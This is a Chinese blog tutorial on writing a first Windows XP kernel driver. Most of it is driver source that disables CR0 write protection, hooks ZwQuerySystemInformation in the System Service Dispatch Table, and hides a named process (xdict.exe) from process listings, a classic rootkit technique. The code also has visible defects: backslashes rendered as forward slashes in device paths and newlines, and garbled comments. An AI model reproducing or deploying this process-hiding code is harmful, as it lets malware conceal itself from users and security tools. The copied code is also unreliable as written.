温故而知新2——第一个Windows驱动

 
第一个 Windows 驱动
Copyright © MikeFeng
 
开发环境:Windows DDK 3790,VS.Net 2003,DriveStudio 2003
目的:实现对系统服务调度表项的Hook,从而在内核态隐藏进程
   
这里所说的服务不是windows的services.msc中的服务,而是Windows内核处理系统调用的服务。例如CreateFile,用户态的程序可以直接调用Windows API,但是转到内核之后将会有系统服务表做一个过渡调用NtCreateFile。所谓的系统服务表(System Service dispatch tabe,简称SSDT)只是一个内核函数的地址表,它记录了某个Windows API所调用内核API的地址。
系统服务调度的过程由KiSystemService完成,它将调用者的参数从用户态堆栈中拷贝到核心态堆栈。每个线程都有一个指向SSDT的指针。Windows有两个内建的系统服务表,选择哪个表由KiSystemService根据某些标志位确定。这两个表的名字叫KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者是比较常用的表,它定义了在/WINDOWS/system32/ntoskrnl.exe中实现的内核函数集地址;而后者包括了常用的USER和GDI服务,它指向的函数集在Win32k.sys实现。系统服务调度指令存在于Ntdll.dll中,子系统DLL通过调用Ntdll中的函数进入内核。但是USER和GDI函数出外,它们直接调用User32.dll和Gdi32.dll进入内核。
纯理论看的头疼。还是来看看驱动的框架吧。首先要搞清出这次写的驱动种类。驱动有用户模式的驱动程序和内核模式的驱动程序。这个驱动属于内核模式的。内核模式的驱动程序有三种:
  • 最高层驱动:例如文件系统以及文件系统过滤驱动。也包括为了特殊目的实现的驱动,这些驱动都需要下层驱动的支持
  • 中间层驱动:虚拟磁盘,镜像或者指定类型的类驱动程序,例如PnP功能、过滤驱动程序。
  • 最底层驱动:当然是指物理硬件驱动了。例如PnP硬件总线驱动程序。写这类驱动要懂硬件,要考虑优化,硬件生产厂商估计需要这样的人才,但是我们基本上没有机会接触。
        很明显,这次写的驱动是属于最高层驱动。标准的驱动需要有很多函数,需要处理调度,设备irp等等。但是这次要写的驱动只需要遍历进程表,替换SSDT中一个表项,不需要进行设备IO,因此就省去了设备irp等环节。查询进程信息的内核函数为ZwQuerySystemInformation,因此需要替换SSDT中这个函数的地址,把它指向驱动中对于这个函数的另一种实现。因为需要在驱动中枚举进程,所以需要定义 _SYSTEM_THREADS 结构和 _SYSTEM_PROCESSES 结构。另外还需定义 KeServiceDescriptorTable 以及驱动中函数原型。如下:
#include "ntddk.h"
#include "string.h"
 
#define IOCTL_EVENT_MSG   CTL_CODE( FILE_DEVICE_UNKNOWN,    /
                                    0x927,                  /
                                    METHOD_BUFFERED,        /
                                    FILE_ANY_ACCESS)
struct _SYSTEM_THREADS
{
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID ClientIs;
    KPRIORITY Priority;
    KPRIORITY BasePriority;
    ULONG ContextSwitchCount;
    ULONG ThreadState;
    KWAIT_REASON WaitReason;
};
 
struct _SYSTEM_PROCESSES
{
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriority;
    ULONG ProcessId;
    ULONG InheritedFromProcessId;
    ULONG HandleCount;
    ULONG Reserved2[2];
    VM_COUNTERS VmCounters;
    IO_COUNTERS IoCounters;
    struct _SYSTEM_THREADS Threads[1];
};
 
typedef struct _ServiceDescriptorEntry
{
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
 
//ULONG KeServiceDescriptorTable = 0x8055B480;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
 
typedef NTSTATUS (*REALZWQUERYSYSTEMINFORMATION)(
                                                 IN ULONG SystemInformationClass,
                                                 IN PVOID SystemInformation,
                                                 IN ULONG SystemInformationLength,
                                                 OUT PULONG ReturnLength);
 
REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;
 
NTSTATUS HookZwQuerySystemInformation(
        IN ULONG SystemInformationClass,
        IN PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        OUT PULONG ReturnLength);
 
static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
static NTSTATUS MydrvDispatchIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);
 
    驱动入口 DriveEntry 中必须要做的事情有以下几件:
创建设备以及设备的符号链接 (Symbolic link)
设定一些回调例程;
保存真实的 ZwQuerySystemInformation 指针,以备恢复时用;
将更改 SSDT 中关于 ZwQuerySystemInformation 函数的指针,让它指向我们自己的函数 HookZwQuerySystemInformation
 
    因为有寄存器保护 SSDT ,所以在执行最后两步之前要将保护去掉,更改 SSDT 之后要恢复保护。因此就有了两段汇编。代码如下
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING nameString, linkString;
    PDEVICE_OBJECT deviceObject;
    NTSTATUS status;
    WCHAR wBuffer[200];
    ULONG CR0VALUE;
 
    nameString.Buffer = wBuffer;
    nameString.MaximumLength = 200;
 
    DriverObject->DriverUnload = DriverUnload;
 
    RtlInitUnicodeString(&nameString, L"//Device//MyDriver");
 
    status = IoCreateDevice(
                DriverObject,
                0,              // ÎŞÉ豸À©Õ¹
                &nameString,
                FILE_DEVICE_UNKNOWN,
                0,
                TRUE,
                &deviceObject
                );
 
    if (!NT_SUCCESS( status ))
        return status;
 
    deviceObject->Flags |= DO_BUFFERED_IO;
 
    RtlInitUnicodeString(&linkString, L"//??//MyDriver");
 
    status = IoCreateSymbolicLink (&linkString, &nameString);
 
    if (!NT_SUCCESS( status ))
    {
        IoDeleteDevice (DriverObject->DeviceObject);
        return status;
    }
 
    DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = MydrvDispatch;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MydrvDispatchIoctl;
 
    __asm{
        mov eax, cr0
        mov CR0VALUE, eax
        and eax, 0fffeffffh
        mov cr0, eax
    }
 
    RealZwQuerySystemInformation =
        (REALZWQUERYSYSTEMINFORMATION)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x97));
    (REALZWQUERYSYSTEMINFORMATION)*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x97) = HookZwQuerySystemInformation;
   
    __asm{
        mov eax, CR0VALUE
        mov cr0, eax
    }
   
    return STATUS_SUCCESS;
}
 
    下面的函数是对设备 io 的处理。没有什么特别处理,只是一个空壳。
static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    NTSTATUS status;
    PIO_STACK_LOCATION irpSp;
 
    UNREFERENCED_PARAMETER(DeviceObject);
 
    //µÃµ½µ±Ç°IRP (I/OÇEó°E
    irpSp = IoGetCurrentIrpStackLocation( Irp );
 
    switch (irpSp->MajorFunction)
    {
        case IRP_MJ_CREATE:
            DbgPrint("IRP_MJ_CREATE/n");
            Irp->IoStatus.Status = STATUS_SUCCESS;
            Irp->IoStatus.Information = 0L;
 
            break;
 
        case IRP_MJ_CLOSE:
            DbgPrint("IRP_MJ_CLOSE/n");
            Irp->IoStatus.Status = STATUS_SUCCESS;
            Irp->IoStatus.Information = 0L;
 
            break;
    }
 
    IoCompleteRequest(Irp, 0);
    return STATUS_SUCCESS;
}
 
    下面的函数是对 Device_IO_Control 的支持,也没有什么特殊的处理
static NTSTATUS MydrvDispatchIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION IrpStack;
    NTSTATUS status;
    ULONG ControlCode;
    ULONG InputLength,OutputLength;
    TCHAR wInputBuffer[200];
    TCHAR OutMsg[] = "Message send by driver";
 
    IrpStack = IoGetCurrentIrpStackLocation(Irp);
 
    ControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;
    InputLength = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
    OutputLength = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
 
    switch (ControlCode)
    {      
        case IOCTL_EVENT_MSG:
//          DbgPrint("IOCTL_EVENT_MSG/n");
 
            RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, OutMsg, sizeof(OutMsg));
            Irp->IoStatus.Status = STATUS_SUCCESS;
            OutputLength = sizeof(OutMsg);
            Irp->IoStatus.Information = OutputLength;
            break;
    }
 
    status = Irp->IoStatus.Status;
 
    IoCompleteRequest(Irp, 0);
    return status;
}
 
    驱动卸载函数,必须恢复对 SSDT 所做更改。坚决反对不能恢复的太监流氓软件!!
    具体做的内容很简单,就是删除符号链接,删除设备对象,恢复 SSDT
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
    UNICODE_STRING nameString;
   
    RtlInitUnicodeString(&nameString, L"//??//MyDriver");
    IoDeleteSymbolicLink(&nameString);
    IoDeleteDevice(pDriverObject->DeviceObject);
   
    (REALZWQUERYSYSTEMINFORMATION)*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x97) = RealZwQuerySystemInformation;
   
    return;
}
 
    最关键的是对于 ZwQuerySystemInformation hook 函数的实现:
NTSTATUS HookZwQuerySystemInformation(
        IN ULONG SystemInformationClass,
        IN PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        OUT PULONG ReturnLength)
{
    NTSTATUS rc;
 
    UNICODE_STRING process_name;
    RtlInitUnicodeString(&process_name, L"xdict.exe");
 
    rc = (RealZwQuerySystemInformation) (
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);
   
    if(NT_SUCCESS(rc))
    {
        if(5 == SystemInformationClass)
        {
            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
 
            while(curr)
            {
                if (RtlCompareUnicodeString(&process_name, &curr->ProcessName, 1) == 0)
                {
 
                    if(prev)
                    {
                        if(curr->NextEntryDelta)
                        {
                            prev->NextEntryDelta += curr->NextEntryDelta;
                        }
                        else
                        {
                            prev->NextEntryDelta = 0;
                        }
                    }
                    else
                    {
                        if(curr->NextEntryDelta)
                        {
                            (char *)SystemInformation += curr->NextEntryDelta;
                        }
                        else
                        {
                            SystemInformation = NULL;
                        }
                    }
 
                    if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
                    else
                    {
                        curr = NULL;
                        break;
                    }
                }
 
                if(curr != NULL)
                {
                    prev = curr;
                    if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
                    else curr = NULL;
                }
 
            } // end while(curr)
        }
    }
    return rc;
}
 
    其中“ xdict.exe ”是金山词霸的进程名,在这里没有任何其他意思,就是举个例子,哈哈。我们要隐藏的就是金山词霸的进程。这个函数的大段代码都是对于系统进程链表的维护,如果查到是 xdict.exe 那么将其从系统进程链表中抹去,同时设定好 prev next 指针,如果被查询的进程名不是 xdict.exe ,那么将不会有任何其他操作。
    这个程序只能在 xp 下运行,没有考虑过多 cpu 问题。使用 DDK3790 编译,生成 .sys 文件。使用 softice 动态加载即可进行调试,或者使用第三方软件动态加载卸载。
 

你可能感兴趣的:(温故而知新2——第一个Windows驱动)